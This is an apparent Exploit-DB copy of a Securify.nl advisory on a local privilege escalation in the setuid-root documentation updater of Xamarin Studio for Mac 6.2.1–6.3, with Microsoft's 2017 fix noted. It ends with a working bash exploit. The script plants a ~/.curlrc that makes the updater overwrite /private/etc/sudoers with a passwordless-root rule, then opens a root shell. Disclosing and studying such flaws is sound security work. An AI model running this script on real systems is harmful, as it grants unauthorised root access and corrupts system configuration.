Xamarin Studio for Mac API Documentation Update Affected by Local Privilege Escalation

vendor:

Xamarin Studio for Mac

by:

Securify.nl

7,2

CVSS

HIGH

Local Privilege Escalation

264

CWE

Product Name: Xamarin Studio for Mac

Affected Version From: Xamarin Studio for Mac version 6.2.1 (build 3)

Affected Version To: Xamarin Studio for Mac version 6.3 (build 863)

Patch Exists: YES

Related CWE: N/A

CPE: a:xamarin:xamarin_studio_for_mac

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Mac

2017

Xamarin Studio for Mac API Documentation Update Affected by Local Privilege Escalation

Xamarin Studio is an Integrated Development Environment (IDE) used to create iOS, Mac and Android applications. Xamarin Studio supports developments in C# and F# (by default). The API documentation update mechanism of Xamarin Studio for Mac is installed as setuid root. This update mechanism contains several flaws that could be leveraged by a local attacker to gain elevated (root) privileges.

Mitigation:

Microsoft released a new version of Xamarin.iOS that addresses this issue: Security update for the elevation of privilege vulnerability for Xamarin.iOS: August 14, 2017 (4037359)

Source

Exploit-DB raw data:

Source: https://www.securify.nl/advisory/SFY20170403/xamarin-studio-for-mac-api-documentation-update-affected-by-local-privilege-escalation.html

Abstract

Xamarin Studio is an Integrated Development Environment (IDE) used to create iOS, Mac and Android applications. Xamarin Studio supports developments in C# and F# (by default). The API documentation update mechanism of Xamarin Studio for Mac is installed as setuid root. This update mechanism contains several flaws that could be leveraged by a local attacker to gain elevated (root) privileges.

Tested versions

This issue was successfully verified on Xamarin Studio for Mac version 6.2.1 (build 3) and version 6.3 (build 863).

Fix

Microsoft released a new version of Xamarin.iOS that addresses this issue:
- Security update for the elevation of privilege vulnerability for Xamarin.iOS: August 14, 2017 (4037359)

#!/bin/bash
# WARNING: this scripts overwrites ~/.curlrc and /private/etc/sudoers (when successful)
#target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.6.0.10/share/doc/MonoTouch/apple-doc-wizard
target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.8.0.175/share/doc/MonoTouch/apple-doc-wizard
rm -rf ~/Library/Developer/Shared/Documentation/DocSets
   
cat << __EOF > /private/tmp/sudoers
%everyone   ALL=(ALL) NOPASSWD: ALL
__EOF
   
cat << __EOF > ~/.curlrc
url=file:///private/tmp/sudoers
output=/private/etc/sudoers
__EOF
   
echo 
echo "*** press CRL+C when the download starts ***"
$target
echo
   
sudo -- sh -c 'rm -rf /private/tmp/ios-docs-download.*; su -'
   
rm -f /private/tmp/sudoers ~/.curlrc